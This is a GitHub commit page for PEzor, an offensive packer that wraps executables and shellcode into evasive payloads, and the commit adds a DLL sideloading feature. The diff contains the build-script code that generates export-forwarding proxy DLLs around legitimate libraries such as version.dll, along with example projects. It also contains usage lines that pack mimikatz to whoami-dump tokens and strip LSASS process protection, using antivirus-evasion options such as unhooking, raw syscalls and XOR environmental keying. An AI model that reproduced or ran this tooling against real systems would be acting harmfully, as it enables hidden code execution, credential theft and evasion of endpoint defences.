Skip to content

Commit

Permalink
Merge pull request phra#89 from phra/feat/dll-sideload
Browse files Browse the repository at this point in the history
Add DLL Sideloading capability
  • Loading branch information
phra authored Sep 26, 2023
2 parents b82ba1f + 2509005 commit 02e5076
Show file tree
Hide file tree
Showing 19 changed files with 226 additions and 9 deletions.
67 changes: 62 additions & 5 deletions PEzor.sh
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ INSTALL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
TMP_DIR=`mktemp -d`
SGN=false
BLOB=false
OUTPUT_DIR=false
IS_SHELLCODE=false
BITS=64
FORCED_BITS=false
Expand All @@ -42,6 +43,9 @@ CLEANUP=false
SOURCES=""
FLUCTUATE=false
XOR_KEY=false
DLL_SIDELOAD=false
ORIGINAL_DLL=false
NEW_DLL_NAME=false

usage() {
echo 'Usage PE: ./PEzor.sh [-32|-64] [-debug] [-syscalls] [-unhook] [-sleep=<SECONDS>] [-sgn] [-antidebug] [-text] [-self] [-rx] [-format=<FORMAT>] <executable.exe> [donut args]'
Expand All @@ -58,7 +62,7 @@ OPTIONS
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-syscalls Use raw syscalls [64-bit only] [Windows 10+ only]
-sgn Encode the generated shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
Expand All @@ -69,6 +73,7 @@ OPTIONS
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Fluctuate memory region to PROTECTION (RW or NA) by hooking Sleep()
-xorkey=KEY Encrypt payload with a simple multibyte XOR, it retrieves the key at runtime by using GetComputerNameExA(ComputerNameDnsFullyQualified)
-dll-sideload=DLL Generate a DLL that will proxy the execution to another library
[donut args...] After the executable to pack, you can pass additional Donut args, such as -z 2
EXAMPLES
Expand All @@ -85,11 +90,15 @@ EXAMPLES
# 64-bit (use environmental keying with GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '\"coffee\" \"sleep 5000\" \"coffee\" \"exit\"'
# 64-bit (support EXEs with resource by keeping PE headers in memory)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 1 -p '\"coffee\" \"sleep 5000\" \"coffee\" \"exit\"'
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '\"!+\" \"!processprotect\" \"/process:lsass.exe\" \"/remove\" \"!-\" \"exit\"'
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (service exe)
Expand Down Expand Up @@ -119,7 +128,7 @@ OPTIONS
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-shellcode Force shellcode detection
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-syscalls Use raw syscalls [64-bit only] [Windows 10+ only]
-sgn Encode the provided shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
Expand All @@ -129,6 +138,7 @@ OPTIONS
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Fluctuate memory region to PROTECTION (RW or NA) by hooking Sleep()
-xorkey=KEY Encrypt payload with a simple multibyte XOR, it retrieves the key at runtime by using GetComputerNameExA(ComputerNameDnsFullyQualified)
-dll-sideload=DLL Generate a DLL that will proxy the execution to another library
EXAMPLES
# 64-bit (self-inject RWX)
Expand All @@ -149,6 +159,10 @@ EXAMPLES
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
Expand Down Expand Up @@ -258,10 +272,15 @@ do
XOR_KEY="${arg#*=}"
echo "[?] XOR key: $XOR_KEY"
;;
-dll-sideload=*)
DLL_SIDELOAD="${arg#*=}"
echo "[?] DLL to sideload: $DLL_SIDELOAD"
;;
*)
echo "[?] Processing $arg"
ls $arg 1>/dev/null 2>&1 || { echo "[x] ERROR: $arg doesn't exist"; exit 1; }
BLOB=$arg
OUTPUT_DIR=$(dirname -- $BLOB)
break
;;
esac
Expand Down Expand Up @@ -301,6 +320,11 @@ if [ $RX = true ] && [ $SGN = true ]; then
exit 1
fi

if [ $SELF = true ] && [ $OUTPUT_FORMAT == "dll" -o $OUTPUT_FORMAT == "service-dll" -o $OUTPUT_FORMAT == "reflective-dll"]; then
echo '[x] Error: cannot self-execute the payload when targeting DLLs'
exit 1
fi

if [ $IS_SHELLCODE = true ]; then
echo '[?] Shellcode detected'
IS_SHELLCODE=true
Expand Down Expand Up @@ -499,6 +523,34 @@ case $OUTPUT_FORMAT in
SOURCES="$SOURCES $INSTALL_DIR/fluctuate.cpp"
fi &&

if [ $OUTPUT_FORMAT = "dll" -o $OUTPUT_FORMAT = "service-dll" -o $OUTPUT_FORMAT == "reflective-dll" ] && [ $DLL_SIDELOAD != false ]; then
SOURCES="$SOURCES $TMP_DIR/sideload.def"
ORIGINAL_DLL=$(basename -- "$DLL_SIDELOAD")
original_dll_name="${ORIGINAL_DLL%.*}"
new_dll="$original_dll_name""$RANDOM"
NEW_DLL_NAME="$new_dll.dll"
winedump dump -C -j export "$DLL_SIDELOAD" | \
awk '
BEGIN {
print "EXPORTS"
}
/Entry/,/Done/ {
if ($2 ~ /^[0-9]+/) {
ordinal = $2
name = $3
new_dll = "'${new_dll}'"
if (name ~ /</) {
# Exported by ordinal (TODO: syntax error in .def file)
# printf " @%s=%s.#%s @%s\n", ordinal, new_dll, ordinal, ordinal
} else if (name !~ /DllMain/){
# Exported function with a name
printf " %s=%s.%s @%s\n", name, new_dll, name, ordinal
}
}
}
' > $TMP_DIR/sideload.def || exit 1
fi &&

if [ $OUTPUT_FORMAT = "bof" ]; then
# $CXX $CPPFLAGS $CXXFLAGS -Wl,--disable-auto-import -Wl,--disable-runtime-pseudo-reloc $TMP_DIR/shellcode.cpp -c -o $TMP_DIR/shellcode.o
# $CXX $CPPFLAGS $CXXFLAGS $TMP_DIR/sleep.cpp -c -o $TMP_DIR/sleep.o &&
Expand All @@ -513,6 +565,7 @@ case $OUTPUT_FORMAT in
# x86_64-w64-mingw32-ld -r $TMP_DIR/{sleep,bof,inject}.o -o $BLOB.packed.$OUTPUT_EXTENSION
else
CXXFLAGS="-std=c++17 -static"
echo $CXX $CPPFLAGS $CXXFLAGS $INSTALL_DIR/{inject,PEzor}.cpp $TMP_DIR/{shellcode,sleep}.cpp $SOURCES -o $BLOB.packed.$OUTPUT_EXTENSION &&
$CXX $CPPFLAGS $CXXFLAGS $INSTALL_DIR/{inject,PEzor}.cpp $TMP_DIR/{shellcode,sleep}.cpp $SOURCES -o $BLOB.packed.$OUTPUT_EXTENSION &&
strip $BLOB.packed.$OUTPUT_EXTENSION || exit 1
fi
Expand Down Expand Up @@ -585,5 +638,9 @@ case $OUTPUT_FORMAT in
;;
esac &&

rm -rf $TMP_DIR &&
echo -n '[!] Done! Check '; file $BLOB.packed.$OUTPUT_EXTENSION
#rm -rf $TMP_DIR &&
echo -n '[!] Done! Check '; file $BLOB.packed.$OUTPUT_EXTENSION &&
if [ $OUTPUT_FORMAT = "dll" -o $OUTPUT_FORMAT = "service-dll" -o $OUTPUT_FORMAT == "reflective-dll" ] && [ $DLL_SIDELOAD != false ]; then
cp "$DLL_SIDELOAD" "$OUTPUT_DIR/$NEW_DLL_NAME" &&
echo "[?] Rename $BLOB.packed.$OUTPUT_EXTENSION to $ORIGINAL_DLL and copy in the same directory $NEW_DLL_NAME"
fi
10 changes: 9 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -110,11 +110,15 @@ EXAMPLES
# 64-bit (use environmental keying with GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (support EXEs with resources by keeping PE headers in memory)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 1 -p '"coffee" "sleep 5000" "coffee" "exit"'
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (service exe)
Expand Down Expand Up @@ -183,6 +187,10 @@ EXAMPLES
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
Expand Down
4 changes: 4 additions & 0 deletions examples/dll-sideload/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
*.res
*.o
*.exe
*.dll
7 changes: 7 additions & 0 deletions examples/dll-sideload/ForwardedDLL.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
puts("ForwardedDLL DllMain");
return TRUE;
}
9 changes: 9 additions & 0 deletions examples/dll-sideload/ForwardedDLL.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#include <windows.h>

#pragma comment(linker, "/EXPORT:DllMain")

extern "C" {
#pragma comment(linker, "/EXPORT:1=library.dll.DllMain,@1")
#pragma comment(linker, "/EXPORT:2=library.dll.myFunction1,@2")
#pragma comment(linker, "/EXPORT:3=library.dll.myFunction2,@3")
}
3 changes: 3 additions & 0 deletions examples/dll-sideload/ForwardedDLL.def
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
EXPORTS
myFunction1=library.myFunction1 @2
myFunction2=library.myFunction2 @3
2 changes: 2 additions & 0 deletions examples/dll-sideload/compile.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
x86_64-w64-mingw32-gcc -shared -static library.c -o library.dll library.def -Wall -pedantic -Wextra &&
x86_64-w64-mingw32-g++ -static main.cpp -o main.exe
35 changes: 35 additions & 0 deletions examples/dll-sideload/generate_def.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
#!/bin/bash

if [ $# -ne 1 ]; then
echo "Usage: $0 <OriginalDLL.dll>"
exit 1
fi

original_dll="$1"
output_def="ForwardedDLL.def"
output_dll="ForwardedDLL.dll"

winedump dump -C -j export "$original_dll" | \
awk '
BEGIN {
print "EXPORTS"
}
/Entry/,/Done/ {
if ($2 ~ /^[0-9]+/) {
ordinal = $2
name = $3
if (name ~ /</) {
# Exported by ordinal (TODO: syntax error in .def file)
# printf " @%s=%s.#%s @%s\n", ordinal, "library", ordinal, ordinal
} else if (name !~ /DllMain/){
# Exported function with a name
printf " %s=%s.%s @%s\n", name, "library", name, ordinal
}
}
}
' > $output_def

# Compile the C++ source code into a DLL using clang and mingw
x86_64-w64-mingw32-gcc -shared -o "$output_dll" "$output_def"

echo "Forwarded DLL created: $output_dll"
21 changes: 21 additions & 0 deletions examples/dll-sideload/library.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
#include <windows.h>
#include <stdio.h>

__declspec(dllexport) int myFunction1() {
return 1;
}

__declspec(dllexport) int myFunction2() {
return 2;
}

int myAnonymousFunction() {
return 3;
}

__declspec(dllexport) int DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
puts("libray.dll DLLMain\n");
return 1;
}

5 changes: 5 additions & 0 deletions examples/dll-sideload/library.def
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
EXPORTS
DllMain @1
myFunction1 @2
myFunction2 @3
myAnonymousFunction @4 NONAME
5 changes: 5 additions & 0 deletions examples/dll-sideload/library.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
extern "C" {
int myExportedVariable1(); // Ordinal 1
int myExportedVariable2(); // Ordinal 2
}

27 changes: 27 additions & 0 deletions examples/dll-sideload/main.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#include <windows.h>
#include <iostream>

int main() {
HMODULE hModule = LoadLibraryW(L"library.dll"); // Load the DLL
if (hModule != NULL) {
int (*getVariable1)() = (int(*)())GetProcAddress(hModule, (LPCSTR)2); // Access ordinal 1
int (*getVariable2)() = (int(*)())GetProcAddress(hModule, (LPCSTR)3); // Access ordinal 2

if (getVariable1 != NULL && getVariable2 != NULL) {
int value1 = getVariable1();
int value2 = getVariable2();

// Use 'value1' and 'value2' here
std::cout << "Value 1: " << value1 << std::endl;
std::cout << "Value 2: " << value2 << std::endl;
}

Sleep(10000);

FreeLibrary(hModule); // Unload the DLL when done
} else {
std::cout << "DLL NOT FOUND" << std::endl;
}
return 0;
}

3 changes: 3 additions & 0 deletions examples/exe-resource/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
*.res
*.o
*.exe
2 changes: 2 additions & 0 deletions examples/exe-resource/compile.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
x86_64-w64-mingw32-windres resource.rc -o resource.o &&
x86_64-w64-mingw32-gcc resource.c resource.o -o MessageBoxExample.exe -mwindows
15 changes: 15 additions & 0 deletions examples/exe-resource/resource.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
#include <windows.h>
#include "resource.h"

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// Load the message and title from the resource
wchar_t message[256], title[256];

LoadStringW(hInstance, IDS_MESSAGE, message, sizeof(message) / sizeof(wchar_t));
LoadStringW(hInstance, IDS_TITLE, title, sizeof(title) / sizeof(wchar_t));

// Display the MessageBox
MessageBoxW(NULL, message, title, MB_OK | MB_ICONINFORMATION);

return 0;
}
8 changes: 8 additions & 0 deletions examples/exe-resource/resource.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
#ifndef RESOURCE_H
#define RESOURCE_H

#define IDS_MESSAGE 101
#define IDS_TITLE 102

#endif // RESOURCE_H

8 changes: 8 additions & 0 deletions examples/exe-resource/resource.rc
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
#include <windows.h>
#include "resource.h"

STRINGTABLE
BEGIN
IDS_MESSAGE "Hello, World!"
IDS_TITLE "MessageBox Example"
END
2 changes: 0 additions & 2 deletions inject.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -91,9 +91,7 @@ LPVOID inject_shellcode_self(unsigned char shellcode[], SIZE_T size, PHANDLE phT
return NULL;
}
#else
puts("before sleep \n");
Sleep(sleep_time);
puts("after sleep \n");
#endif

#ifdef FLUCTUATE
Expand Down
2 changes: 1 addition & 1 deletion install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ INSTALL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd $INSTALL_DIR &&

sudo apt update &&
sudo apt install -y python3-pip wget unzip build-essential cmake autotools-dev git clang golang mingw-w64 libcapstone-dev libssl-dev cowsay mono-devel &&
sudo apt install -y python3-pip wget unzip build-essential cmake autotools-dev git clang golang mingw-w64 libcapstone-dev libssl-dev cowsay mono-devel wine64-tools &&
pip3 install --no-warn-script-location xortool &&

mkdir -p deps &&
Expand Down

0 comments on commit 02e5076

Please sign in to comment.